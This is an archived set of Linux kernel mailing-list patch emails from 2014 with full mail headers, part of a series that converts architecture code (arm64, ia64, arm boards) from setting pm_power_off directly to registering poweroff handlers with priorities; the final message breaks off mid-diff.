Return-path: <devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: gldd-devicetree-discuss-3-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNLz-0002ou-Bb; Tue, 07 Oct 2014 07:30:31 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753749AbaJGFa1 (ORCPT
	<rfc822;gldd-devicetree-discuss-3@m.gmane.org> + 1 other);
	Tue, 7 Oct 2014 01:30:27 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40849 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753771AbaJGFaV (ORCPT
	<rfc822;devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:30:21 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=+MX46fT9TZ0q//fVCdD69KBKSZrBxB5Rwc5SN9HgzpA=;
	b=Vzp9fX5ARLVP+yX7XjxJY9hJbliwIarq7c0FdJ/WjqkmIitRhxSuVXYBnFZ7HOKJF05OacQx0XGeQ06dYXm54gcZxU0VG0yRGrfjGnheHN8tFbysEt1A1OHTFB4/ObrNk2EhWMYZ30i+f6GTe5gb8dQZ8JoSOrR1hfrUhcEFyp8=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLo-002ekr-CO
	for devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:30:20 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32935 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLg-002eBm-L3; Tue, 07 Oct 2014 05:30:13 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020207.54337A6C.0097,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 551
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <devicetree.vger.kernel.org>
X-Mailing-List: devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.drivers.devicetree:93040 gmane.linux.kernel:1802450 gmane.linux.kernel.virtualization.lguest:1459 gmane.linux.acpi.devel:71273 gmane.linux.ports.alpha:2444 gmane.linux.kernel.efi:4727 gmane.linux.ports.hexagon:791 gmane.linux.ports.ppc64.devel:105870 gmane.linux.ports.tegra:19473 gmane.linux.kernel.openipmi:2450 gmane.linux.uml.devel:14663 gmane.linux.ports.arm.kernel:362345 gmane.linux.ports.ia64:24480 gmane.linux.kernel.metag:311 gmane.linux.ports.mips.general:44161 gmane.linux.ports.parisc:6086 gmane.linux.power-management.general:50615 gmane.linux.ports.sh.devel:39784
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.devicetree/93040>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Cc: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>
Cc: Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/arm64/kernel/psci.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/arm64/kernel/psci.c b/arch/arm64/kernel/psci.c
index 5539547..c1f3d09 100644
--- a/arch/arm64/kernel/psci.c
+++ b/arch/arm64/kernel/psci.c
@@ -286,7 +286,7 @@ static int __init psci_0_2_init(struct device_node *np)
 
 	arm_pm_restart = psci_sys_reset;
 
-	pm_power_off = psci_sys_poweroff;
+	register_poweroff_handler_simple(psci_sys_poweroff, 128);
 
 out_put_node:
 	of_node_put(np);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 34/44] ia64: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:36 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <1412659726-29957-35-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659851 26399 80.91.229.3 (7 Oct 2014 05:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:51 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Tony Luck <t
To: linux-kernel@vger.kernel.org
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Oct 07 07:30:43 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XbNMA-0002yG-19
	for glad-acpi-devel@plane.gmane.org; Tue, 07 Oct 2014 07:30:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753876AbaJGFaj (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:39 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40980 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753829AbaJGFab (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 7 Oct 2014 01:30:31 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=ECtg6tj+A0PPNJqz/9i7QDAJVbZ2MCBRkRG0jfFaVYU=;
	b=cYbo2lR5IxI47DN5+Y9VzHqD0pXwe8xa+FIyaKWlCzp2pDp2nRsMlBnizHJgJp9wxFLHEaT8/QDmj5H8Y2hU7YIZzMpm8P17ITomvB5TDbLXj3t4b+RqK7Jqg0605FsJJWNxApcbjFCVRy3uvjmTKR6aU4Cwy/7S14bXHFN2yq4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLz-002fua-6j
	for linux-acpi@vger.kernel.org; Tue, 07 Oct 2014 05:30:31 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32937 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLl-002ef2-TG; Tue, 07 Oct 2014 05:30:19 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020204.54337A77.007B,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 657
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:71274 gmane.linux.kernel:1802451 gmane.linux.drivers.devicetree:93041 gmane.linux.kernel.virtualization.lguest:1460 gmane.linux.ports.alpha:2445 gmane.linux.kernel.efi:4728 gmane.linux.ports.hexagon:792 gmane.linux.ports.ppc64.devel:105871 gmane.linux.ports.tegra:19474 gmane.linux.kernel.openipmi:2451 gmane.linux.uml.devel:14664 gmane.linux.ports.arm.kernel:362346 gmane.linux.ports.ia64:24481 gmane.linux.kernel.metag:312 gmane.linux.ports.mips.general:44162 gmane.linux.ports.parisc:6087 gmane.linux.power-management.general:50616 gmane.linux.ports.sh.devel:39785
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71274>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with lower priority of 64 to reflect that the call
is expected to be replaced at some point.

Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/ia64/sn/kernel/setup.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/ia64/sn/kernel/setup.c b/arch/ia64/sn/kernel/setup.c
index 36182c8..6c83425 100644
--- a/arch/ia64/sn/kernel/setup.c
+++ b/arch/ia64/sn/kernel/setup.c
@@ -488,12 +488,12 @@ void __init sn_setup(char **cmdline_p)
 	sn_timer_init();
 
 	/*
-	 * set pm_power_off to a SAL call to allow
+	 * set poweroff handler to a SAL call to allow
 	 * sn machines to power off. The SAL call can be replaced
 	 * by an ACPI interface call when ACPI is fully implemented
 	 * for sn.
 	 */
-	pm_power_off = ia64_sn_power_down;
+	register_poweroff_handler_simple(ia64_sn_power_down, 64);
 	current->thread.flags |= IA64_THREAD_MIGRATION;
 }
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.drivers.devicetree,gmane.linux.kernel,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 31/44] arm: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:33 -0700
Lines: 710
Approved: news@gmane.org
Message-ID: <1412659726-29957-32-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659854 26422 80.91.229.3 (7 Oct 2014 05:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:54 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Russell King
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:30:42 2014
Return-path: <devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: gldd-devicetree-discuss-3-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNM2-0002ou-Uh; Tue, 07 Oct 2014 07:30:35 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753827AbaJGFab (ORCPT
	<rfc822;gldd-devicetree-discuss-3@m.gmane.org> + 1 other);
	Tue, 7 Oct 2014 01:30:31 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40851 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753775AbaJGFaV (ORCPT
	<rfc822;devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:30:21 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=q2qzkSaW0az5u+UqaK4r0fITZbEAn2eRSvF4lNuCXXs=;
	b=pVg5KO6IuFbkj6FyPoQt2UH2fwpS5+dFgchxRfXCdRko3akBTfiQXUp8+z97dotNwejkX3I1OEoTKpV8S4cl//M/sua8sPqHlJoDhH2eF3yqUd1M+eY9RkXTEFt7PL7a4AOXrbphAcfbjDCpVTbClbnk+EwaVHHz3NnvwZr0P4A=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLo-002eke-8h
	for devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:30:20 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32934 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLc-002dig-Fo; Tue, 07 Oct 2014 05:30:11 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020204.54337A6C.00CD,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 553
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <devicetree.vger.kernel.org>
X-Mailing-List: devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.drivers.devicetree:93042 gmane.linux.kernel:1802452 gmane.linux.kernel.virtualization.lguest:1461 gmane.linux.acpi.devel:71275 gmane.linux.ports.alpha:2446 gmane.linux.kernel.efi:4729 gmane.linux.ports.hexagon:793 gmane.linux.ports.ppc64.devel:105872 gmane.linux.ports.tegra:19475 gmane.linux.kernel.openipmi:2452 gmane.linux.uml.devel:14665 gmane.linux.ports.arm.kernel:362347 gmane.linux.ports.ia64:24482 gmane.linux.kernel.metag:313 gmane.linux.ports.mips.general:44163 gmane.linux.ports.parisc:6088 gmane.linux.power-management.general:50617 gmane.linux.ports.sh.devel:39786
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.devicetree/93042>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Always use register_poweroff_handler_simple as there is no
indication that more than one poweroff handler is registered.

If the poweroff handler only resets the system or puts the CPU in sleep mode,
select a priority of 0 to indicate that the poweroff handler is one of last
resort. If the poweroff handler powers off the system, select a priority
of 128.

Cc: Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Cc: Andrew Victor <linux-PelNFVqkFnVyf+4FbqDuWQ@public.gmane.org>
Cc: Nicolas Ferre <nicolas.ferre-AIFe0yeh4nAAvxtiuMwx3w@public.gmane.org>
Cc: Jean-Christophe Plagniol-Villard <plagnioj-sclMFOaUSTBWk0Htik3J/w@public.gmane.org>
Cc: Stephen Warren <swarren-3lzwWm7+Weoh9ZMKESR00Q@public.gmane.org>
Cc: Christian Daudt <bcm-xK7y4jjYLqYh9ZMKESR00Q@public.gmane.org>
Cc: Matt Porter <mporter-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Cc: Anton Vorontsov <anton-9xeibp6oKSgdnm+yROfE0A@public.gmane.org>
Cc: Rob Herring <robh-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: Shawn Guo <shawn.guo-KZfg59tc24xl57MIdRCFDg@public.gmane.org>
Cc: Sascha Hauer <kernel-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Cc: Imre Kaloz <kaloz-p3rKhJxN3npAfugRpC6u6w@public.gmane.org>
Cc: Krzysztof Halasa <khc-9GfyWEdoJtJmR6Xm/wNWPw@public.gmane.org>
Cc: Tony Lindgren <tony-4v6yS6AI5VpBDgjK7y7TUQ@public.gmane.org>
Cc: Jason Cooper <jason-NLaQJdtUoK4Be96aLqz0jA@public.gmane.org>
Cc: Andrew Lunn <andrew-g2DYL2Zd6BY@public.gmane.org>
Cc: Sebastian Hesselbarth <sebastian.hesselbarth-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Eric Miao <eric.y.miao-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Haojian Zhuang <haojian.zhuang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Robert Jarzmik <robert.jarzmik-GANU6spQydw@public.gmane.org>
Cc: Marek Vasut <marek.vasut-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Ben Dooks <ben-linux-elnMNo+KYs3YtjvyW6yDsg@public.gmane.org>
Cc: Kukjin Kim <kgene.kim-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Cc: Linus Walleij <linus.walleij-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Cc: Tony Prisk <linux-ci5G2KO2hbZ+pU9mqzGVBQ@public.gmane.org>
Cc: Stefano Stabellini <stefano.stabellini-mvvWK6WmYclDPfheJLI6IQ@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/arm/kernel/psci.c                         | 2 +-
 arch/arm/mach-at91/board-gsia18s.c             | 2 +-
 arch/arm/mach-at91/setup.c                     | 4 ++--
 arch/arm/mach-bcm/board_bcm2835.c              | 2 +-
 arch/arm/mach-cns3xxx/cns3420vb.c              | 2 +-
 arch/arm/mach-cns3xxx/core.c                   | 2 +-
 arch/arm/mach-highbank/highbank.c              | 2 +-
 arch/arm/mach-imx/mach-mx31moboard.c           | 2 +-
 arch/arm/mach-iop32x/em7210.c                  | 2 +-
 arch/arm/mach-iop32x/glantank.c                | 2 +-
 arch/arm/mach-iop32x/iq31244.c                 | 2 +-
 arch/arm/mach-iop32x/n2100.c                   | 2 +-
 arch/arm/mach-ixp4xx/dsmg600-setup.c           | 2 +-
 arch/arm/mach-ixp4xx/nas100d-setup.c           | 2 +-
 arch/arm/mach-ixp4xx/nslu2-setup.c             | 2 +-
 arch/arm/mach-omap2/board-omap3touchbook.c     | 2 +-
 arch/arm/mach-orion5x/board-mss2.c             | 2 +-
 arch/arm/mach-orion5x/dns323-setup.c           | 6 +++---
 arch/arm/mach-orion5x/kurobox_pro-setup.c      | 2 +-
 arch/arm/mach-orion5x/ls-chl-setup.c           | 2 +-
 arch/arm/mach-orion5x/ls_hgl-setup.c           | 2 +-
 arch/arm/mach-orion5x/lsmini-setup.c           | 2 +-
 arch/arm/mach-orion5x/mv2120-setup.c           | 2 +-
 arch/arm/mach-orion5x/net2big-setup.c          | 2 +-
 arch/arm/mach-orion5x/terastation_pro2-setup.c | 2 +-
 arch/arm/mach-orion5x/ts209-setup.c            | 2 +-
 arch/arm/mach-orion5x/ts409-setup.c            | 2 +-
 arch/arm/mach-pxa/corgi.c                      | 2 +-
 arch/arm/mach-pxa/mioa701.c                    | 2 +-
 arch/arm/mach-pxa/poodle.c                     | 2 +-
 arch/arm/mach-pxa/spitz.c                      | 2 +-
 arch/arm/mach-pxa/tosa.c                       | 2 +-
 arch/arm/mach-pxa/viper.c                      | 2 +-
 arch/arm/mach-pxa/z2.c                         | 6 +++---
 arch/arm/mach-pxa/zeus.c                       | 6 +++---
 arch/arm/mach-s3c24xx/mach-gta02.c             | 2 +-
 arch/arm/mach-s3c24xx/mach-jive.c              | 2 +-
 arch/arm/mach-s3c24xx/mach-vr1000.c            | 2 +-
 arch/arm/mach-s3c64xx/mach-smartq.c            | 2 +-
 arch/arm/mach-sa1100/generic.c                 | 2 +-
 arch/arm/mach-sa1100/simpad.c                  | 2 +-
 arch/arm/mach-u300/regulator.c                 | 2 +-
 arch/arm/mach-vt8500/vt8500.c                  | 2 +-
 arch/arm/xen/enlighten.c                       | 2 +-
 44 files changed, 51 insertions(+), 51 deletions(-)

diff --git a/arch/arm/kernel/psci.c b/arch/arm/kernel/psci.c
index f73891b..dd58d86 100644
--- a/arch/arm/kernel/psci.c
+++ b/arch/arm/kernel/psci.c
@@ -264,7 +264,7 @@ static int psci_0_2_init(struct device_node *np)
 
 	arm_pm_restart = psci_sys_reset;
 
-	pm_power_off = psci_sys_poweroff;
+	register_poweroff_handler_simple(psci_sys_poweroff, 128);
 
 out_put_node:
 	of_node_put(np);
diff --git a/arch/arm/mach-at91/board-gsia18s.c b/arch/arm/mach-at91/board-gsia18s.c
index b729dd1..6722e66 100644
--- a/arch/arm/mach-at91/board-gsia18s.c
+++ b/arch/arm/mach-at91/board-gsia18s.c
